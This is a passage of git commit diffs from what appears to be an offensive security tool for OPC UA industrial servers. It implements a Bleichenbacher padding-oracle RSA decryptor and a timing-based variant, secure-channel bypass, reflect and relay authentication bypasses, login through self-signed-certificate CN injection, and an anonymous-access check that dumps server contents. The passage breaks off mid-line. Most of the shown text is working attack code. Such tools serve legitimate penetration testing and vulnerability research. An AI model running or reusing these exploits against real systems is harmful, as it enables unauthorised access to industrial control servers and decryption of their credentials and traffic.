PaddingOracle exceptions. - - # Extract public key from certificate as Python ints. - keylen = certificate_publickey(certificate).size_in_bytes() - n, e = certificate_publickey_numbers(certificate) - - # Generate test cases deterministically for consistent scoring. TESTSEED = 0x424242 rng = Random(TESTSEED) @@ -909,14 +903,30 @@ def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle, goodpads ] # As incorrect padding, just pick uniform random numbers modulo n not starting with 0x0002. - wrongpadding = [rng.randint(1, n) for _ in range(0, badpads)] + wrongpadding = [rng.randint(1, pubkey) for _ in range(0, badpads)] for i in range(0, badpads): while wrongpadding[i] >> (8 * (keylen - 2)) == 2: - wrongpadding[i] = rng.randint(1, n) + wrongpadding[i] = rng.randint(1, pubkey) # Mix order of correct and incorrect padding. testcases = [(True, p) for p in correctpadding] + [(False, p) for p in wrongpadding] rng.shuffle(testcases) + return testcases + +def padding_oracle_quality( + certificate : bytes, oracle : PaddingOracle, + goodpads : int = 100, badpads : int = 100 + ) -> int: + # Gives a score between 0 and 100 on how "strong" the padding oracle is. + # This is determined by encrypting testing 100 plaintexts with correct padding and 100 with incorrect padding. + # The score is based on the number of correct padding correctly reported as such is returned. + # If any incorrectly padded plaintext is reported as valid, 0 is returned. + # Will not catch PaddingOracle exceptions. + + # Extract public key from certificate as Python ints. + keylen = certificate_publickey(certificate).size_in_bytes() + n, e = certificate_publickey_numbers(certificate) + testcases = padding_oracle_testinputs(keylen, n, goodpads, badpads) # Perform the test. score = 0 @@ -953,7 +963,7 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t endpoint = oclass.pick_endpoint(endpoints) if endpoint: log(f'Endpoint "{endpoint.endpointUrl}" qualifies for {oname} oracle.') - log(f'Trying a bunch of known plaintexts to assess its quality and reliability...') + log(f'Trying a bunch of known plaintexts to assess {oname} oracle quality and reliability...') oracle = oclass(endpoint) try: quality = padding_oracle_quality(endpoint.serverCertificate, oracle) @@ -964,12 +974,13 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t elif quality > bestscore: bestname, bestep, bestoracle, bestscore = oname, endpoint, oracle, quality elif quality == 0 and timing_threshold > 0: - log(f'Base {oname} not working. Testing timing-based variant (threshold: {timing_threshold} seconds); this can take a minute.') + log(f'Base {oname} not working. Testing timing-based variant (threshold: {timing_threshold} seconds); this may take a minute.') toracle = TimingBasedPaddingOracle(endpoint, oclass(endpoint), timing_threshold) quality = padding_oracle_quality(endpoint.serverCertificate, toracle, 10, 100) - log(f'Timing-based {oname} score: {quality}/100') - # Prefer non-timing oracles with equal quality. - quality -= 1 + log(f'Timing-based {oname} padding oracle score: {quality}/100') + + # Prefer non-timing oracles, even if they have (up to three times) more false negatives. + quality = ceildiv(quality, 3) if quality > bestscore: bestname, bestep, bestoracle, bestscore = f'Timing-based {oname}', endpoint, toracle, quality @@ -983,6 +994,8 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t if bestscore > 0: log(f'Continuing with {bestname} padding oracle for endpoint {bestep.endpointUrl}.') return bestoracle, bestep + elif timing_threshold == 0: + raise AttackNotPossible(f'Can\'t find exploitable padding oracle. Maybe try the timing attack?') else: raise AttackNotPossible(f'Can\'t find exploitable padding oracle.') @@ -1245,23 +1258,130 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : crypto=deriveKeyMaterial(login_endpoint.securityPolicyUri, SPOOFED_OPN_NONCE, opn_resp.serverNonce), ) - -def oracletest(): - # Password token: - todecrypt = unhexlify('9e82001c5a9b0d4ec8ed921af69659d8a3c8909bdb3be7bbf2f09a2321256deda98779fe8c182f476b06cf9592f2974b93a04fdbce82db34c2985c59ab71cce0f0987a35f2a4e0958411d40de4073ba00d223e5332ecaab0d5a850a1c97610cb2e42c7675d6a8eb3319ba95aabbed51014687bdf0edd417b47df2b4f348b6539ed1aa7bae5a4bd76ffe475a6d0ea54e51399996485c582615f55296411417f7c6db5aa8796653c47e503a00ce72a7e96e7c69ac52f5f200153cb585c6dc4119962ac004433da24f2347e75ee5fda60b507fde6c9197ad7f0aca65f3b6f91b51c8b0b501549aa10368ae7c4a2e2aeee1bb81bff8e3e6a9be7aa09b999ac641bc7') - # First half of OPN request: - # todecrypt = unhexlify('160dcd84074bc3ff604b383295132b658f9e8491c1dec934bc8e8bd5d8d3997a6ff1b1bdea125920c9e992d33c00a844dc4c6953d291468d1e306881ed37338e0990cef579f6673f1863232bb7e8c29717950d2424487d92dc7f95c8a89f91fa4b82d6bfbce8ecc3389697580db1e539f883f02cdddfc59382381cfe13e717d2571422558b2bf8d10337260cfa0b3ab42eb2bb6459dafcc47ebefa6a7e7236023a8f8ce2fb5b3553fedc2e7e5974a3e951e4afb5974e9ef44b094ebe9d7f52173bc5f0f10b6d93943a2f699349520b5ccde725650671ab4c54f8be66700d172f73513ddcd52e48f39111c884366d4a4aacdb213a6d6552c139d775a909b1e873') - # Encryption of 0x00021234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567890042: - # todecrypt = unhexlify('af550d6983a8c885015af74701d4b0ef6f835ccc7fc71400e4347706d321d09f9a9fbfa5a55c7b2f781daa95d7c645ea94edbdd3652fe81279ff60a001675e0fea622afbc6ed36fe8b4b50e9d1a05caf37a209193ffe4131fff1f1e696e64af9b05af06f2bcc7313b022353ff2db984e3c473636aefa45c93ce8823297bc28eee9583f46eeaa8c23b57efdba0cbac4d1110c3d22a698f928c2974ee5a4048f26f57eb2a0d1755bfb0015f2668b4022eded7a26d544c351c7e12076579cb13a65ebfb71cff679780cab95e1bd1b8390fc28e6fb50f21ccbe86c6e213358bdee2996658b396a1a47326a7ec440e07283c6ca4308c1dec50379f90828599df7c7f5') - - ep = PasswordPaddingOracle.pick_endpoint(get_endpoints('opc.tcp://opc-testserver:62541/Quickstarts/ReferenceServer')) - assert ep - - oracle = PasswordPaddingOracle(ep) - # print(repr(oracle.query(todecrypt))) - # print(padding_oracle_quality(ep.serverCertificate, oracle)) - print(hexlify(rsa_decryptor(oracle, ep.serverCertificate, todecrypt))) +def log_object(name: str, data : Any, depth : int = 0): + prefix = ' ' * (depth - 1) + '|' if depth > 0 else '' + datadict = None + if isinstance(data, tuple) and hasattr(data, '_asdict'): + datadict = data._asdict() + elif dataclasses.is_dataclass(data): + datadict = dataclasses.asdict(data) + elif type(data) == list: + datadict = dict(enumerate(data)) + + + if datadict: + log(f'{prefix}+ {name} ({type(data).__name__}):') + for fieldname, fieldval in datadict.items(): + log_object(fieldname, fieldval, depth+1) + else: + if type(data) == bytes: + datastr = hexlify(data).decode() + elif type(data) == LocalizedText: + datastr = data.text + elif data is None: + datastr = 'NULL' + else: + datastr = str(data) + + if len(datastr) > 200: + datastr = datastr[:40] + "..." + + log(f'{prefix}+ {name}: {datastr}') - -# if __name__ == '__main__': -# oracletest() \ No newline at end of file + +def server_checker(url : str, test_timing_attack : bool): + log(f'Checking {url}...') + endpoints = get_endpoints(url) + encrypt_endpoints = [i for i, ep in enumerate(endpoints) if ep.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT] + log_success(f'{len(endpoints)} endpoints:') + findings = [] + pkcs1_ep = None + + log('-----------------------') + for i, ep in enumerate(endpoints): + epname = f'Endpoint #{i} ({ep.endpointUrl})' + log_object(epname, ep) + log('-----------------------') + + tokentypes = [t.tokenType for t in ep.userIdentityTokens] + + # HTTPS reflect/relay. + relay_candidate = False + if ep.securityPolicyUri == SecurityPolicy.NONE and UserTokenType.ANONYMOUS in tokentypes: + findings.append(f'{epname} allows anonymous access. It might not require authentication for data access.') + if ep.transportProfileUri.endswith('https-uabinary'): + findings.append(f'{epname} supports the HTTPS protocol. It may be vulnerable to a reflect/relay attack.') + relay_candidate = True + + # Padding oracle. + if ep.securityPolicyUri == SecurityPolicy.BASIC128RSA15: + findings.append(f'{epname} supports the vulnerable Basic128Rsa15 policy. It may be vulnerable to a padding oracle attack (which would enable reflect, relay, decrypt and sigforge).') + relay_candidate = True + pkcs1_ep = ep + if ep.securityPolicyUri == SecurityPolicy.NONE and UserTokenType.USERNAME in tokentypes: + if any(t.tokenType == UserTokenType.USERNAME and t.securityPolicyUri == SecurityPolicy.BASIC128RSA15 for t in ep.userIdentityTokens): + findings.append(f'{epname} supports password encryption with Basic128Rsa15. It may be vulnerable to a padding oracle attack (which would enable reflect, relay, decrypt and sigforge).') + relay_candidate = True + + # User cert relay. + if relay_candidate and UserTokenType.CERTIFICATE in tokentypes: + findings.append(f'{epname} supports user authentication with certificates. Could potentially also be bypassed via reflect or relay.') + + # Downgrade attacks. TODO: confirm + # if ep.securityPolicyUri == SecurityPolicy.NONE and UserTokenType.USERNAME in tokentypes or UserTokenType.ISSUEDTOKEN in tokentypes: + # findings.append(f'{epname} supports user password or token authentication over a None channel. May be vulnerable to a disclosure via a MitM downgrade.') + + # if ep.securityMode == MessageSecurityMode.SIGN and encrypt_endpoints: + # if len(encrypt_endpoints) > 0: + # secondpart = ' and '.join(f'endpoint #{epnum}' for epnum in encrypt_endpoints) + ' support SIGN_AND_ENCRYPT' + # else: + # secondpart = f'endpoint #{encrypt_endpoints[0]} supports SIGN_AND_ENCRYPT' + # findings.append(f'{epname} has security mode SIGN while {secondpart}. It may be vulnerable to a MitM downgrade.') + + if findings: + log('') + log('Findings:') + for f in findings: + log_success(f) + else: + log('No findings about these endpoints.') + + log('Note: cn-inject vulnerabilities have not been checked.') + + if test_timing_attack: + if not pkcs1_ep: + log('No endpoint with Basic128Rsa15. Can\'t test timing attack.') + else: + log('Testing OpenSecureChannel timing attack...') + keylen = certificate_publickey(pkcs1_ep.serverCertificate).size_in_bytes() + n, e = certificate_publickey_numbers(pkcs1_ep.serverCertificate) + okpads = 50 + nokpads = 50 + ok_time = 0 + nok_time = 0 + for i, (padding_ok, plaintext) in enumerate(padding_oracle_testinputs(keylen, n, okpads, nokpads), start=1): + inputval = int2bytes(pow(plaintext, e, n), keylen) + oracle = OPNPaddingOracle(pkcs1_ep) + oracle._setup() + starttime = time.time() + try: + oracle._attempt_query(inputval) + except: + pass + duration = time.time() - starttime + + log(f'Test {i}: {"good" if padding_ok else "bad"} padding; time: {duration}') + if padding_ok: + ok_time += duration + else: + nok_time += duration + + try: + oracle._cleanup() + except: + pass + + log_success(f'Average time with correct padding: {ok_time / okpads}') + log_success(f'Average time with incorrect padding: {nok_time / nokpads}') + + \ No newline at end of file diff --git a/opcattack.py b/opcattack.py index 9121fde..3673438 100755 --- a/opcattack.py +++ b/opcattack.py @@ -46,26 +46,25 @@ class CheckAttack(Attack): subcommand = 'check' short_help = 'evaluate whether attacks apply to server (TODO)' long_help = """ -Simply requests a list of endpoints from the server, and report which attacks may be applicable based on their -configuration. This does not prove the endpoints are vulnerable, but helps testing a connection and determining which +Simply requests a list of endpoints from the server, and report which attacks +may be applicable based on their configuration. This does not prove the +endpoints are vulnerable, but helps testing a connection and determining which attacks are worth trying. - -By default, this will be non-intrusive and only request and endpoint list. When you use --probe-password you can test -for an additional padding oracle attack method (that may work even if the server had disabled the Basic128Rsa15 -security policy) by executing one login attempt with incorrect credentials. +By default, this will be non-intrusive and only request and endpoint list. With +--probe-password and --test-timing-attack you can enable nosier checks that may +yield additional results. """ def add_arguments(self, aparser): - aparser.add_argument('-p', '--probe-password', type=FileType('r'), - help='does a failed login attempt with a PKCS#1 encrypted password') - + aparser.add_argument('-t', '--test-timing-attack', action='store_true', + help='test vulnerability to timing-based padding oracle by sending a bunch of ciphertexts and timing responses; output can be helpful when picking a timing attack threshold parameter') aparser.add_argument('url', help='Target or discovery server OPC URL (either opc.tcp:// or https:// protocol)', type=str) def execute(self, args): - raise Exception('TODO: implement') + server_checker(args.url, args.test_timing_attack) class ReflectAttack(Attack): subcommand = 'reflect' From a75851f261fc31b1b3e963811230e54e2c896f5d Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 21 Mar 2024 15:52:58 +0100 Subject: [PATCH 30/70] Improved timing checker. --- attacks.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/attacks.py b/attacks.py index 7bdbf6c..fe50aa8 100644 --- a/attacks.py +++ b/attacks.py @@ -1359,8 +1359,10 @@ def server_checker(url : str, test_timing_attack : bool): nokpads = 50 ok_time = 0 nok_time = 0 + minok = math.inf + maxnok = 0 for i, (padding_ok, plaintext) in enumerate(padding_oracle_testinputs(keylen, n, okpads, nokpads), start=1): - inputval = int2bytes(pow(plaintext, e, n), keylen) + inputval = int2bytes(pow(plaintext, e, n), keylen) * 100 oracle = OPNPaddingOracle(pkcs1_ep) oracle._setup() starttime = time.time() @@ -1373,8 +1375,10 @@ def server_checker(url : str, test_timing_attack : bool): log(f'Test {i}: {"good" if padding_ok else "bad"} padding; time: {duration}') if padding_ok: ok_time += duration + minok = min(duration, minok) else: nok_time += duration + maxnok = max(duration, maxnok) try: oracle._cleanup() @@ -1382,6 +1386,7 @@ def server_checker(url : str, test_timing_attack : bool): pass log_success(f'Average time with correct padding: {ok_time / okpads}') + log_success(f'Shortest time with correct padding: {minok}') log_success(f'Average time with incorrect padding: {nok_time / nokpads}') - - \ No newline at end of file + log_success(f'Longest time with incorrect padding: {maxnok}') + From c764e681a07f666536ce88037777de443d9d3d0d Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 21 Mar 2024 16:36:07 +0100 Subject: [PATCH 31/70] Implemented auth-check. --- attacks.py | 58 ++++++++++++++++++++++++++++++++++++++++++++++++++-- opcattack.py | 29 ++++++++++++++++---------- 2 files changed, 74 insertions(+), 13 deletions(-) diff --git a/attacks.py b/attacks.py index fe50aa8..9fa16a2 100644 --- a/attacks.py +++ b/attacks.py @@ -87,7 +87,7 @@ def connect_and_hello(host : str, port : int) -> socket: version=0, receiveBufferSize=2**16, sendBufferSize=2**16, - maxMessageSize=2**24, + maxMessageSize=2097152, #2**24, maxChunkCount=2**8, endpointUrl=f'opc.tcp://{host}:{port}/', ), AckMessage()) @@ -1077,7 +1077,7 @@ def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_passw return sig def inject_cn_attack(url : str, cn : str, second_login : bool, demo : bool): - log(f'Attempting reflection attack against {url}') + log(f'Attempting to log in to {url} with CN {cn} in self-signed certificate.') mycert, privkey = selfsign_cert(SELFSIGNED_CERT_TEMPLATE, cn, datetime.now() + timedelta(days=100)) log(f'Generated self-signed certificate with CN {cn}.') @@ -1390,3 +1390,57 @@ def server_checker(url : str, test_timing_attack : bool): log_success(f'Average time with incorrect padding: {nok_time / nokpads}') log_success(f'Longest time with incorrect padding: {maxnok}') + +def auth_check(url : str, skip_none : bool, demo : bool): + # Tests whether server allows authentication at all. + endpoints = get_endpoints(url) + + chan, token = None, None + if not skip_none: + for ep in endpoints: + if ep.securityPolicyUri == SecurityPolicy.NONE: + try: + log(f'Trying to log in to None endpoint {ep.endpointUrl}') + proto, host, port = parse_endpoint_url(url) + chan = unencrypted_opn(connect_and_hello(host, port)) if proto == TransportProtocol.TCP_BINARY else url + createreply = generic_exchange(chan, SecurityPolicy.NONE, createSessionRequest, createSessionResponse, + requestHeader=simple_requestheader(), + clientDescription=applicationDescription.create( + applicationUri=TEMPLATE_APP_URI, + productUri=TEMPLATE_APP_URI, + applicationName=LocalizedText(text=TEMPLATE_APP_URI), + applicationType=ApplicationType.CLIENT, + gatewayServerUri=None, + discoveryProfileUri=None, + discoveryUrls=[], + ), + serverUri=ep.server.applicationUri, + endpointUrl=ep.endpointUrl, + sessionName=None, + clientNonce=None, + clientCertificate=ep.serverCertificate, + requestedSessionTimeout=600000, + maxResponseMessageSize=2**24, + ) + + log(f'CreateSessionRequest succeeded. Now trying to activate it...') + activatereply = generic_exchange(chan, SecurityPolicy.NONE, activateSessionRequest, activateSessionResponse, + requestHeader=simple_requestheader(createreply.authenticationToken), + clientSignature=signatureData.create(algorithm=None,signature=None), + clientSoftwareCertificates=[], + localeIds=[], + userIdentityToken=anonymousIdentityToken.create(policyId=anon_policies[0].policyId), + userTokenSignature=signatureData.create(algorithm=None,signature=None), + ) + log_success('Session activation successful!') + if demo: + demonstrate_access(chan, createreply.authenticationToken, SecurityPolicy.NONE) + return + except ServerError as err: + log(f'Attempt failed due to server error {hex(err.errorcode)}: "{err.reason}"') + except Exception as ex: + log(f'Attempt failed due to Exception {type(ex).__name__}: "{ex}"') + + log('Anonymous login didn\'t work. Trying self-signed certificate next.') + inject_cn_attack(url, TEMPLATE_APP_URI, False, demo) + \ No newline at end of file diff --git a/opcattack.py b/opcattack.py index 3673438..d4afdd1 100755 --- a/opcattack.py +++ b/opcattack.py @@ -44,7 +44,7 @@ def execute(self, args : Namespace): class CheckAttack(Attack): subcommand = 'check' - short_help = 'evaluate whether attacks apply to server (TODO)' + short_help = 'evaluate whether attacks apply to server' long_help = """ Simply requests a list of endpoints from the server, and report which attacks may be applicable based on their configuration. This does not prove the @@ -154,9 +154,8 @@ def add_arguments(self, aparser): type=str) def execute(self, args): - # TODO: padding oracle options if args.bypass_opn: - raise Exception('TODO: implement --bypass-opn option') + raise Exception('TODO: --bypass-opn option implemented for reflect; but not yet for relay') relay_attack(getattr(args, 'server-a'), getattr(args, 'server-b'), not args.no_demo) class PathInjectAttack(Attack): @@ -196,24 +195,32 @@ def execute(self, args): class NoAuthAttack(Attack): subcommand = 'auth-check' - short_help = 'tests if server allows unauthenticated access (TODO)' + short_help = 'tests if server allows unauthenticated access' long_help = """ -This is not a new attack. Just a simple check to see whether a server allows anonymous access without authentication; -either via the None policy or by automatically accepting untrusted certificates. +This is not a new attack. Just a simple check to see whether a server allows +anonymous access without authentication; either via the None policy or by +automatically accepting untrusted certificates. -This is an easy misconfiguration to make (or insecure default to forget about), so it's good to check for this. Also, -there's not much use for an authentication bypass if no authentication is enforced at all. +First, a login is attempted with the None policy and a reflected server +certificate (of which ownership does not need to be proven). If that fails, +a non-None policy is picked along with a self-signed certificate (same check as +cn-inject, but with a harmless CN). """ def add_arguments(self, aparser): - pass + aparser.add_argument('-n', '--no-demo', action='store_true', + help='don\'t dump server contents on success; just tell an unauthenticated session could be created') + aparser.add_argument('-c', '--cert-only', action='store_true', + help='only attempt to log in with a self-signed certificate; skip the None attempt') + aparser.add_argument('url', type=str, + help='Target server OPC URL (either opc.tcp:// or https:// protocol)') def execute(self, args): - raise Exception('TODO: implement') + auth_check(args.url, args.cert_only, not args.no_demo) class DecryptAttack(Attack): subcommand = 'decrypt' - short_help = 'sniffed password and/or traffic decryption via an padding oracle' + short_help = 'sniffed password and/or traffic decryption via padding oracle' long_help = """ If an OPC UA server supports the Basic128Rsa15 policy, or accepts passwords encrypted with the "rsa-1_5" algorithm, it is quite likely vulnerable for a From 9b25b9e34fa5c27f0957a5f992768c1614404ae4 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 21 Mar 2024 16:45:34 +0100 Subject: [PATCH 32/70] Small auth-check fixes. --- attacks.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/attacks.py b/attacks.py index 9fa16a2..b7c9d4f 100644 --- a/attacks.py +++ b/attacks.py @@ -1147,7 +1147,7 @@ def trylogin(): log(f'Server requires user authentication, which is not implemented for this attack. Will stop here.') return None except ServerError as err: - log(f'Login blocked. Server responsed with error {hex(err.errorcode)}.') + log(f'Login blocked. Server responsed with error {hex(err.errorcode)}: "{err.reason}"') return None log(f'Trying to submit cert to endpoint {ep.endpointUrl}.') @@ -1429,7 +1429,7 @@ def auth_check(url : str, skip_none : bool, demo : bool): clientSignature=signatureData.create(algorithm=None,signature=None), clientSoftwareCertificates=[], localeIds=[], - userIdentityToken=anonymousIdentityToken.create(policyId=anon_policies[0].policyId), + userIdentityToken=None, userTokenSignature=signatureData.create(algorithm=None,signature=None), ) log_success('Session activation successful!') @@ -1441,6 +1441,7 @@ def auth_check(url : str, skip_none : bool, demo : bool): except Exception as ex: log(f'Attempt failed due to Exception {type(ex).__name__}: "{ex}"') - log('Anonymous login didn\'t work. Trying self-signed certificate next.') + log('Anonymous login didn\'t work. Trying self-signed certificate next.') + inject_cn_attack(url, TEMPLATE_APP_URI, False, demo) \ No newline at end of file From dbebd40095602c4e2ea919d571685495d829b73f Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 21 Mar 2024 17:15:18 +0100 Subject: [PATCH 33/70] Dirty hack. --- attacks.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/attacks.py b/attacks.py index b7c9d4f..69bb313 100644 --- a/attacks.py +++ b/attacks.py @@ -96,7 +96,8 @@ def connect_and_hello(host : str, port : int) -> socket: def simple_requestheader(authToken : NodeId = NodeId(0,0)) -> requestHeader.Type: return requestHeader.create( authenticationToken=authToken, - timeStamp=datetime.now(), + # timeStamp=datetime.now(), + timeStamp=None, requestHandle=0, returnDiagnostics=0, auditEntryId=None, From 15faa0a88a607a39f497b86bd97f43336e5c57e6 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 21 Mar 2024 17:16:50 +0100 Subject: [PATCH 34/70] Removed temporary hack. --- attacks.py | 3 +-- message_fields.py | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/attacks.py b/attacks.py index 69bb313..b7c9d4f 100644 --- a/attacks.py +++ b/attacks.py @@ -96,8 +96,7 @@ def connect_and_hello(host : str, port : int) -> socket: def simple_requestheader(authToken : NodeId = NodeId(0,0)) -> requestHeader.Type: return requestHeader.create( authenticationToken=authToken, - # timeStamp=datetime.now(), - timeStamp=None, + timeStamp=datetime.now(), requestHandle=0, returnDiagnostics=0, auditEntryId=None, diff --git a/message_fields.py b/message_fields.py index b67095d..1207f41 100644 --- a/message_fields.py +++ b/message_fields.py @@ -186,10 +186,10 @@ class DateTimeField(TransformedFieldType[int, Optional[datetime]]): def __init__(self): super().__init__(IntField(' Date: Fri, 22 Mar 2024 12:33:25 +0100 Subject: [PATCH 35/70] Fixed timestamp serialization bug. --- attacks.py | 5 ++--- message_fields.py | 5 ++--- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/attacks.py b/attacks.py index b7c9d4f..8fbd34b 100644 --- a/attacks.py +++ b/attacks.py @@ -1244,10 +1244,9 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : raise Exception(f'Failed to unpad RSA plaintext {hexlify(decrypted).decode()} (SP: {login_endpoint.securityPolicyUri})') # Assuming response fits in single plaintext block. - log('Removed padding. Now parsing OpenSecureChannelResponse.') + log('Removed padding. Now parsing OpenSecureChannelResponse to extract channel ID and secret nonce:') opn_resp, _ = openSecureChannelResponse.from_bytes(encodedConversation.from_bytes(unpadded)[0].requestOrResponse) - print(repr(opn_resp)) - log_success(f'Extracted secret server nonce: {hexlify(opn_resp.serverNonce).decode()}') + log_object(opn_resp) return ChannelState( sock=login_sock, diff --git a/message_fields.py b/message_fields.py index 1207f41..b4e6efa 100644 --- a/message_fields.py +++ b/message_fields.py @@ -186,12 +186,11 @@ class DateTimeField(TransformedFieldType[int, Optional[datetime]]): def __init__(self): super().__init__(IntField(' Date: Mon, 25 Mar 2024 09:46:14 +0100 Subject: [PATCH 36/70] Padding oracle bugfix. --- attacks.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/attacks.py b/attacks.py index 8fbd34b..dcb3c69 100644 --- a/attacks.py +++ b/attacks.py @@ -1228,16 +1228,18 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : with cache.open('w') as outfile: json.dump(cachedata, outfile) + log('Picking a padding oracle for decryption.') + oracle, oracle_ep = find_padding_oracle(impersonate_endpoint.endpointUrl, opn_oracle, password_oracle, timing_threshold) + log('Performing the OPN handshake...') login_sock = connect_and_hello(lhost, lport) opn_reply = opc_exchange(login_sock, opn_req) log_success('Forged OPN request was accepted. Now keeping this session open while decrypting the first block of the response.') - oracle, oracle_ep = find_padding_oracle(impersonate_endpoint.endpointUrl, opn_oracle, password_oracle, timing_threshold) cipherblocksize = certificate_publickey(oracle_ep.serverCertificate).size_in_bytes() assert len(opn_reply.encodedPart) % cipherblocksize == 0 - decrypted = rsa_decryptor(oracle, oracle_ep.serverCertificate, opn_reply.encodedPart[:cipherblocksize]) + log_success(f'Success! Got the following plaintext: {hexlify(decrypted).decode()}') unpadded = remove_rsa_padding(decrypted, login_endpoint.securityPolicyUri) if not unpadded: @@ -1246,7 +1248,7 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : # Assuming response fits in single plaintext block. log('Removed padding. Now parsing OpenSecureChannelResponse to extract channel ID and secret nonce:') opn_resp, _ = openSecureChannelResponse.from_bytes(encodedConversation.from_bytes(unpadded)[0].requestOrResponse) - log_object(opn_resp) + log_object('openSecureChannelResponse', opn_resp) return ChannelState( sock=login_sock, From b11206d647923d243bc46d8dc991e0b9ba5dba00 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 25 Mar 2024 10:20:56 +0100 Subject: [PATCH 37/70] Performance enhancements and more configurability of timing attack. Made auth bypass work against ref. implementation without HTTPS or password auth. --- attacks.py | 119 +++++++++++++++++++++++++++++---------------------- opcattack.py | 37 ++++++++-------- 2 files changed, 87 insertions(+), 69 deletions(-) diff --git a/attacks.py b/attacks.py index dcb3c69..59e706a 100644 --- a/attacks.py +++ b/attacks.py @@ -19,6 +19,7 @@ from io import BytesIO import sys, os, itertools, re, math, hashlib, json, time, dataclasses +import keepalive # Logging and errors. def log(msg : str): @@ -425,7 +426,7 @@ def browse_from(root, depth): log('Finished browsing.') # Reflection attack: log in to a server with its own identity. -def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_oracle : bool, cache_file : Path, timing_threshold : float): +def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_oracle : bool, cache_file : Path, timing_threshold : float, timing_expansion : int): proto, host, port = parse_endpoint_url(url) log(f'Attempting reflection attack against {url}') endpoints = get_endpoints(url) @@ -446,12 +447,14 @@ def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_o elif try_opn_oracle or try_password_oracle: tcp_eps = [ep for ep in endpoints if ep.securityPolicyUri != SecurityPolicy.NONE and ep.securityPolicyUri != SecurityPolicy.AES256_SHA256_RSAPSS and ep.transportProfileUri.endswith('uatcp-uasc-uabinary')] if tcp_eps: + # Decryption padding oracle is a bit faster when plaintext is already pkcs#1, so prefer that. + tcp_eps.sort(key=lambda ep: ep.securityPolicyUri != SecurityPolicy.BASIC128RSA15) target = tcp_eps[0] tproto, thost, tport = parse_endpoint_url(target.endpointUrl) assert tproto == TransportProtocol.TCP_BINARY log(f'No HTTPS endpoints. Trying to bypass secure channel on {target.endpointUrl} via padding oracle.') - chan = bypass_opn(target, target, try_opn_oracle, try_password_oracle, cache_file, timing_threshold) + chan = bypass_opn(target, target, try_opn_oracle, try_password_oracle, cache_file, timing_threshold, timing_expansion) log(f'Trying reflection attack (if channel is still alive).') try: token = execute_relay_attack(chan, target, chan, target) @@ -713,8 +716,8 @@ def __init__(self, endpoint, base_oracle : PaddingOracle, # Padding oracle technique to use for timing when False is returned. timing_threshold : float = 0.5, # When processing takes longer than this many seconds, asumming correct padding. - verify_repeats : int = 5, # How many times to repeat 'slow' query before confidence that padding is correct. - ctext_expansion : int = 100 # How many times bigger to repeat the ciphertext + ctext_expansion : int = 50, # How many times bigger to repeat the ciphertext + verify_repeats : int = 2, # How many times to repeat 'slow' query before confidence that padding is correct. ): super().__init__(endpoint) self._base = base_oracle @@ -780,7 +783,6 @@ def pick_endpoint(clazz, endpoints): # Carry out a padding oracle attack against a Basic128Rsa15 endpoint. # Result is ciphertext**d mod n (encoded big endian; any padding not removed). # Can also be used for signature forging. -# Maybe TODO: optimizations from https://eprint.iacr.org/2012/417.pdf def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : bytes) -> bytes: # Bleichenbacher's original attack: https://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf clen = len(ciphertext) @@ -945,7 +947,7 @@ def padding_oracle_quality( return score * 100 // goodpads -def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_threshold : float) -> tuple[PaddingOracle, endpointDescription.Type]: +def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_threshold : float, timing_expansion : int) -> tuple[PaddingOracle, endpointDescription.Type]: # Try finding a working padding oracle against an endpoint. assert try_opn or try_password endpoints = get_endpoints(url) @@ -975,7 +977,7 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t bestname, bestep, bestoracle, bestscore = oname, endpoint, oracle, quality elif quality == 0 and timing_threshold > 0: log(f'Base {oname} not working. Testing timing-based variant (threshold: {timing_threshold} seconds); this may take a minute.') - toracle = TimingBasedPaddingOracle(endpoint, oclass(endpoint), timing_threshold) + toracle = TimingBasedPaddingOracle(endpoint, oclass(endpoint), timing_threshold, timing_expansion) quality = padding_oracle_quality(endpoint.serverCertificate, toracle, 10, 100) log(f'Timing-based {oname} padding oracle score: {quality}/100') @@ -999,11 +1001,11 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t else: raise AttackNotPossible(f'Can\'t find exploitable padding oracle.') -def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : bool, timing_threshold : float): +def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : bool, timing_threshold : float, timing_expansion : int): # Use padding oracle to decrypt a ciphertext. # Logs the result, and also tries parsing it. - oracle, endpoint = find_padding_oracle(url, try_opn, try_password, timing_threshold) + oracle, endpoint = 